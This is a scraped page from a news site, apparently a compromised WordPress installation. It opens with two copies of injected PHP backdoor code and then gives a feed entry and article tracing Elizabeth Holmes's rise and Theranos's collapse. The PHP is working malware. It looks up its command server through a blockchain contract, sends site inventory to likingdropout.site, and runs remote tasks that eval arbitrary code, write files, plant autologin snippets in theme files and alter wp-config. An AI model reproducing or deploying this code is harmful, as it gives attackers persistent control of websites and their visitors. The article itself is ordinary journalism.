// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); whose – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Sep 2022 03:31:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png whose – Brief News https://briefnews.eu 32 32 The rise and fall of Elizabeth Holmes, the former Theranos CEO found guilty of wire fraud and conspiracy, whose sentencing has now been delayed https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/ https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/#respond Wed, 14 Sep 2022 03:31:41 +0000 https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/ Theranos Elizabeth Holmes court
Elizabeth Holmes leaves after a hearing at a federal court in San Jose, California, on July 17, 2019.

Reuters/Stephen Lam

  • Elizabeth Holmes dropped out of Stanford at 19 to start Theranos and grew its value to $ 9 billion.
  • Later, technology flaws were exposed, resulting in a months-long trial where Holmes was found guilty on three counts of wire fraud and one count of conspiracy.
  • Now, Holmes is requesting a new trial after a key witness claimed he felt bad about his testimony.

In 2014, blood-testing startup Theranos and its founder, Elizabeth Holmes, were on top of the world.

Back then, Theranos was a revolutionary idea thought up by a woman hailed as a genius who styled herself as a female Steve Jobs. Holmes was the world's youngest female self-made billionaire, and Theranos was one of Silicon Valley's unicorn startups, valued at an estimated $ 9 billion. 

But then it all came crashing down.

The shortcomings and inaccuracies of Theranos's technology were exposed, along with the role Holmes played in covering it all up. Holmes was ousted as CEO and charged with "massive fraud," and the company was forced to close its labs and testing centers, ultimately shuttering operations altogether.

As she awaited trial, Holmes reportedly found the time to get engaged — and married — to a hotel heir named Billy Evans.

Holmes has since been convicted of fraud in federal court. In January, jurors found Holmes guilty on three counts of wire fraud and one count of conspiracy to commit wire fraud. They found her not guilty on four other counts and failed to reach a unanimous verdict on the remaining three counts against her.

In July, Holmes' former romantic and business partner Ramesh "Sunny" Balwani, was also convicted of fraud. He was found guilty on all 12 fraud-related charges.

Since her conviction, Holmes has become the subject of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name. The show stars Amanda Seyfried as Holmes as it chronicles the meteoric rise and fall of Theranos and Holmes herself.

Holmes has asked the presiding judge in her case to overturn her conviction. In a filing on May 27, Holmes' attorneys argued evidence was "insufficient to sustain the convictions."

"Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal," they wrote. 

In early September, a judge tentatively denied Holmes' request to overturn her fraud conviction. Since then, Holmes has also requested a new trial, alleging in court filings that a key witness showed up to her house and said he felt guilty that his testimony could have contributed to her conviction. 

Holmes' sentencing hearing is currently scheduled for October 17. 

Here's how Holmes went from precocious child, to ambitious Stanford dropout, to an embattled startup founder convicted of fraud: 

Elizabeth Holmes was born on February 3, 1984 in Washington, D.C. Her mom, Noel, was a Congressional committee staffer, and her dad, Christian Holmes, worked for Enron before moving to government agencies like USAID.

Elizabeth Holmes tweet

@eholmes2003/Twitter

Source: Elizabeth Holmes/Twitter, CNN, Vanity Fair

Holmes' family moved when she was young, from Washington, D.C. to Houston.

washington dc
Washington, D.C.

Getty Images

Source: Fortune

When she was 7, Holmes tried to invent her own time machine, filling up an entire notebook with detailed engineering drawings. At the age of 9, Holmes told relatives she wanted to be a billionaire when she grew up. Her relatives described her as saying it with the "utmost seriousness and determination."

Elizabeth Holmes Theranos
Theranos CEO Elizabeth Holmes.

REUTERS/Carlo Allegri

Source: CBS News, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes had an "intense competitive streak" from a young age. She often played Monopoly with her younger brother and cousin, and she would insist on playing until the end, collecting the houses and hotels until she won. If Holmes was losing, she would often storm off. More than once, she ran directly through a screen on the door.

Elizabeth Holmes
Elizabeth Holmes, CEO of Theranos, attends a panel discussion during the Clinton Global Initiative's annual meeting in New York, September 29, 2015.

REUTERS/Brendan McDermid

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

It was during high school that Holmes developed her work ethic, often staying up late to study. She quickly became a straight-A student, and even started her own business: she sold C++ compilers, a type of software that translates computer code, to Chinese schools.

Students in China

Tyrone Siu/Reuters

Source: Fortune, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes started taking Mandarin lessons, and part-way through high school, talked her way into being accepted by Stanford University’s summer program, which culminated in a trip to Beijing.

China, Beijing

Yepoka Yeebo / Business Insider

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Inspired by her great-great-grandfather Christian Holmes, a surgeon, Holmes decided she wanted to go into medicine. But she discovered early on that she was terrified of needles. Later, she said this influenced her to start Theranos.

Blood draw purple EDTA tube

Hollis Johnson/Business Insider

Source: San Francisco Business Times

Holmes went to Stanford to study chemical engineering. When she was a freshman, she became a "president's scholar," an honor which came with a $ 3,000 stipend to go toward a research project.

Stanford University Campus
STANFORD, CA – MAY 22: People ride bikes past Hoover Tower on the Stanford University campus on May 22, 2014 in Stanford, California. According to the Academic Ranking of World Universities by China's Shanghai Jiao Tong University, Stanford University ranked second behind Harvard University as the top universities in the world. UC Berkeley ranked third. (Photo by Justin Sullivan/Getty Images)

Justin Sullivan/Getty

Source: Fortune

Holmes spent the summer after her freshman year interning at the Genome Institute in Singapore. She got the job partly because she spoke Mandarin.

singapore skyline
An office worker walks along the Singapore River front during the lunch hour.

Wong Maye-E/AP

Source: Fortune

As a sophomore, Holmes went to one of her professors, Channing Robertson, and said: "Let's start a company." With his blessing, she founded Real-Time Cures, later changing the company's name to Theranos. Thanks to a typo, early employees’ paychecks actually said "Real-Time Curses."

Elizabeth Holmes

Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes soon filed a patent application for a "medical device for analyte monitoring and drug delivery," a wearable device that would administer medication, monitor patients' blood, and adjust the dosage as needed.

diabetes monitor

Reuters/Brian Snyder

Source: Fortune, US Patent Office

By the next semester, Holmes had dropped out of Stanford altogether, and was working on Theranos in the basement of a college house.

Elizabeth Holmes

Jeff Chiu/AP

Source: Wall Street Journal

Theranos's business model was based around the idea that it could run blood tests, using proprietary technology that required only a finger pinprick and a small amount of blood. Holmes said the tests would be able to detect medical conditions like cancer and high cholesterol.

theranos chairman
Theranos Chairman, CEO and Founder Elizabeth Holmes (L) and TechCrunch Writer and Moderator Jonathan Shieber speak onstage at TechCrunch Disrupt at Pier 48 on September 8, 2014 in San Francisco, California

Steve Jennings/Getty Images

Source: Wall Street Journal

Holmes started raising money for Theranos from prominent investors like Oracle founder Larry Ellison and Tim Draper, the father of a childhood friend and the founder of prominent VC firm Draper Fisher Jurvetson. Theranos raised more than $ 700 million, and Draper has continued to defend Holmes.

Tim Draper
Investor Tim Draper (right).

CNBC

Source: SEC, Crunchbase

Holmes took investors' money on the condition that she wouldn't have to reveal how Theranos' technology worked. Plus, she would have final say over everything having to do with the company.

elizabeth holmes theranos

JP Yim/Getty

Source: Vanity Fair

That obsession with secrecy extended to every aspect of Theranos. For the first decade Holmes spent building her company, Theranos operated in stealth mode. She even took three former Theranos employees to court, claiming they had misused Theranos trade secrets.

Elizabeth Holmes Theranos

Kimberly White/Getty

Source: San Francisco Business Times

Holmes' attitude toward secrecy and running a company was borrowed from a Silicon Valley hero of hers: former Apple CEO Steve Jobs. Holmes started dressing in black turtlenecks like Jobs, decorated her office with his favorite furniture, and like Jobs, never took vacations.

Steve Jobs
Steve Jobs.

Justin Sullivan/Getty Images

Source: Vanity Fair

Even Holmes's uncharacteristically deep voice may have been part of a carefully crafted image intended to help her fit in in the male-dominated business world. In ABC's podcast on Holmes called "The Dropout," former Theranos employees said the CEO sometimes "fell out of character," particularly after drinking, and would speak in a higher voice.

elizabeth holmes
Former U.S. President Bill Clinton and Elizabeth Holmes, CEO of Theranos, during the Clinton Global Initiative's annual meeting in New York.

Lucas Jackson/Reuters

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup, The Cut

Holmes was a demanding boss, and wanted her employees to work as hard as she did. She had her assistants track when employees arrived and left each day. To encourage people to work longer hours, she started having dinner catered to the office around 8 p.m. each night.

Theranos PaloAlto hq

Theranos

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

More behind-the-scenes footage of what life was like at Theranos was revealed in leaked videos obtained by the team behind the HBO documentary "The Inventor: Out for Blood in Silicon Valley." The more than 100 hours of footage showed Holmes walking around the office, scenes from company parties, speeches from Holmes and Balwani, and Holmes dancing to "U Can't Touch This" by MC Hammer.

Elizabeth Holmes
Theranos founder Elizabeth Holmes at the company's headquarters.

Courtesy HBO

Source: Business Insider

